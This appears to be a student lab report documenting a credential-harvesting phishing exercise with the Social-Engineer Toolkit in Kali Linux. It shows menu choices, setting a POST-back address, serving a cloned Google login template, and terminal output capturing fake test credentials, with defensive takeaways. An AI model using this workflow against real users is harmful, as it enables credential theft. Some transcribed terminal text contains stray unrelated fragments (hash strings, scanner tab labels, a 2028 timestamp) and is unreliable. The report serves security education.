

CREDENTIAL HARVESTER LAB REPORT

Kali Linux // SET // Website Attack Vector

LAB SCOPE This report documents a controlled social-engineering exercise performed in Kali Linux using the Social-Engineer Toolkit (SET). The screenshots demonstrate navigation into SET's Website Attack Vector and Credential Harvester workflow, followed by a local test using intentionally fake credentials. No real credentials are reproduced in this report.

Purpose: document the creation and operation of one phishing/credential-harvesting template for the assignment, while explaining what each screen means in plain language.

Ethics note: Credential-harvesting tools should only be used in an isolated lab or with explicit authorization. The educational objective is to understand how phishing works so defenders can recognize and mitigate it.

What the screenshots demonstrate

The exercise moves through a clear sequence: launch SET, choose a web-based social-engineering vector, select the Credential Harvester method, choose how the page will be supplied, configure the lab callback address, select a template, start the local web service, and observe a test form submission.

#	Stage	What it means
01	Launch SET	The Social-Engineer Toolkit starts in Kali Linux.
02	Choose Website Attack Vectors	The web-attack family is selected from SET's main menu.
03	Choose Credential Harvester	SET is configured to capture submitted form parameters in the authorized lab.
04	Choose page source	SET offers Web Templates, Site Cloner, or Custom Import.
05	Set callback / POST address	The lab IP 10.11.2.97 is used so submitted form data returns to the Kali host.
06	Choose Google template	The built-in Google template is selected and SET starts its web server on port 80.
07	Validate with fake data	A controlled test submission shows example username/password fields reaching SET.

KEY CONCEPT A credential harvester is a demonstration of how a deceptive login page can collect values submitted through web form fields. In a security-awareness lab, the important lesson is not the captured password itself; it is understanding the trust cues and technical path that make phishing effective.

Selecting Website Attack Vectors

From SET's main menu, option 2 - Website Attack Vectors - is selected. This moves the exercise away from other SET capabilities and into attacks that use a web page as the interaction point. The screen also explains several available techniques, including the Credential Harvester method.

- The main menu groups different social-engineering techniques by delivery method.
- Website Attack Vectors are appropriate for this assignment because the exercise is demonstrating a phishing-style web template.
- The Credential Harvester description explains that SET can clone or serve a page containing username/password fields and record submitted form parameters.

The screenshot shows the SET application running in a terminal window. At the top, there's a menu bar with 'File', 'Actions', 'Edit', 'View', and 'Help'. Below it, a status bar indicates the current version is 8.0.3 and the latest version is 8.1.3. A message prompts the user to update SET before submitting any git issues. The main menu is displayed, listing various attack vectors. Option 2, 'Website Attack Vectors', is selected. Below the menu, several attack methods are described, including 'The Web Attack module', 'The Java Applet Attack', 'The Metasploit Browser Exploit', 'The Credential Harvester', and 'The TabNabbing'.

```
File Actions Edit View Help
It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!
There is a new version of SET available.
Your version: 8.0.3
Current version: 8.1.3
Please update SET to the latest before submitting any git issues.
SUMMARY DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.
set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intend
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a cust
o deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and del
The Credential Harvester method will utilize web cloning of a web- site that has a username and password field
e website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something diffe
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements t
gitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link
s too slow/fast.
```

Evidence screenshot from the controlled Kali Linux / SET exercise.

Choosing the Credential Harvester method

Inside the Website Attack menu, option 3 - Credential Harvester Attack Method - is selected. SET then asks how the web page should be provided. The screenshot shows three choices: a built-in Web Template, a Site Cloner, or a Custom Import.

- Web Templates use pre-defined pages bundled with SET.
- Site Cloner is designed to reproduce a chosen web page for an authorized simulation.
- Custom Import allows an analyst to supply their own HTML content.
- For this lab, the workflow proceeds with the built-in template path, which keeps the demonstration controlled and reproducible.

```

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize
Credential Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be
oitation through the browser.
DETAILS RELATIONS BEHAVIOR COMMUNITY 6

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method

99) Return to Main Menu

set:webattack>3
1c5901d763f5f0c1c3066a488b5f1aa7

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
4625259a1bc1955a195b1205b1134c0710c1a8
59dcb4e6c13d1549de19d0b9166607cd3f51

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
786yy196Kyp82Kk4nn5y+FcI
452EE7FCF3CF68C4A6AD910971D

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.
48.90 KB (50071 bytes)

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu
8-08-27 13:03:55 UTC

File Upload
2028-08-27 10:07:56 UTC

set:webattack>1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

```

Evidence screenshot from the controlled Kali Linux / SET exercise.

Configuring the lab callback address

SET explains that the Credential Harvester works by rewriting form submissions so that submitted parameters are sent back to the SET system. The lab enters 10.11.2.97 as the POST-back address. This is the Kali host used in the controlled environment.

- The POST-back address tells the training page where to send submitted form data.
- SET warns that private and external IP addressing behave differently; this is fundamentally a networking issue.
- The screenshot also notes optional redirect settings in SET's configuration. Redirect behavior is not required to understand the core lab result.

```
set:webattack>1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

=====
* IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT *

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [10.11.2.97]:10.11.2.97

=====
SSDEEP **** Important Information ****
For templates, when a POST is initiated to harvest
credentials, you will need a site for it to redirect.
You can configure this option under:
/etc/setoolkit/set.config
Edit this file, and change HARVESTER_REDIRECT and
HARVESTER_URL to the sites you want to redirect to
after it is posted. If you do not set these, then
it will not redirect properly. This only goes for
templates.
1. Java Required
2. Google
```

Evidence screenshot from the controlled Kali Linux / SET exercise.

Selecting the template and validating the result

The final screenshot shows the Google web template being selected. SET reports that it is cloning/serving the template and that the Credential Harvester is running on port 80. A local test request reaches the server, and SET displays the submitted form parameters.

- The server log shows normal HTTP activity such as GET requests for the page and favicon.
- SET identifies possible username and password form fields from the submitted request.
- The screenshot uses obvious test values (for example, an @test email and 'this-is-a-test' password), which is appropriate for a classroom lab.
- The POST request receives an HTTP 302 response, indicating a redirect response after the form submission.
- This final screen demonstrates the defensive lesson: a convincing-looking login workflow can cause form data to be sent somewhere other than the legitimate service.

```

File Actions Edit View Help
it will not redirect properly. This only goes for templates.
1. Java Required
2. Google
3. Twitter

set:webattack> Select a template:2
[*] Cloning the website: http://www.google.com
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this capture
[*] The Social-Engineer Toolkit Credential Harvester Attack is powered by detections, plus an API key to automate
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
10.11.3.224 - - [31/Aug/2026 12:58:48] "GET / HTTP/1.1" 200 -
10.11.3.224 - - [31/Aug/2026 12:58:48] "GET /favicon.ico HTTP/1.1" 404 -
[*] WE GOT A HIT! Printing the output:
PARAM: GALX=SJLckfgaqoM
PARAM: continue=https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2JmV1hIcDhtUFdlzBENhIfVwsxSTdNLW9MdThibW
AUY4_qD7Hbfz38w8kxnaNouLcRiD3YTjX
PARAM: service=lso
PARAM: dsh=-7381887106725792428
PARAM: _utf8=a
PARAM: bgresponse=js_disabled
PARAM: pstMsg=1
PARAM: dnConn=
PARAM: checkConnection=
PARAM: checkedDomains=youtube
POSSIBLE USERNAME FIELD FOUND: Email=this.is.a@gest
POSSIBLE PASSWORD FIELD FOUND: Passwd=this+is+a+test
PARAM: signIn=Sign+in
PARAM: PersistentCookie=yes
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

10.11.3.224 - - [31/Aug/2026 12:58:59] "POST /ServiceLoginAuth HTTP/1.1" 302 -

```

Evidence screenshot from the controlled Kali Linux / SET exercise.

What happened behind the scenes

At a high level, the exercise created a local web service that presented a login-style template and accepted an HTTP form submission. SET monitored the request and printed the submitted parameters in the terminal. The important technical concepts are HTTP requests, form fields, POST data, a listening web server, and redirection.

Concept	Observed in the lab	Why it matters
Port 80	SET reports the harvester running on port 80.	Port 80 is the conventional HTTP service port.
GET request	The browser requests the page and favicon.	GET commonly retrieves web resources.
POST request	The login form submits data to the SET host.	POST commonly carries form data to a server.
Form parameters	SET prints parameters and identifies possible username/password fields.	Phishing pages exploit the fact that users may submit sensitive values into a form they trust.
HTTP 302	The final POST receives a 302 response.	302 is a redirect response, often used to move a browser to another page after submission.

DEFENDER TAKEAWAY The lab illustrates why defenders use phishing-awareness training, password managers, multi-factor authentication, domain/URL verification, secure email gateways, browser protections, and monitoring for suspicious credential submissions. A familiar logo or page design is not proof that a login page is legitimate.

Assignment-ready summary

This exercise successfully demonstrated the creation and use of a phishing-style credential-harvesting template in the Social-Engineer Toolkit within Kali Linux. The workflow moved from SET's Website Attack Vectors menu to the Credential Harvester method, configured a controlled POST-back address, selected a built-in Google template, launched the local web service, and verified the workflow using fake test credentials.

The exercise shows the core mechanics behind credential-phishing attacks without requiring a real victim or real credentials. From a cybersecurity perspective, the most valuable outcome is understanding that a cloned or familiar-looking login page can be configured to submit form data to an attacker-controlled server. Recognizing that behavior helps analysts explain phishing risk, identify suspicious web activity, and recommend stronger defensive controls.

EVIDENCE STANDARD The screenshots document the student's own lab workflow. The report intentionally explains what is visible without providing instructions for targeting real users or collecting real credentials.

REFERENCE NOTE

SET is maintained by TrustedSec. Its public configuration documentation confirms that the toolkit supports web-attack settings such as a web server on port 80 and Credential Harvester logging/redirect configuration. Reference: TrustedSec / Social-Engineer Toolkit public project documentation.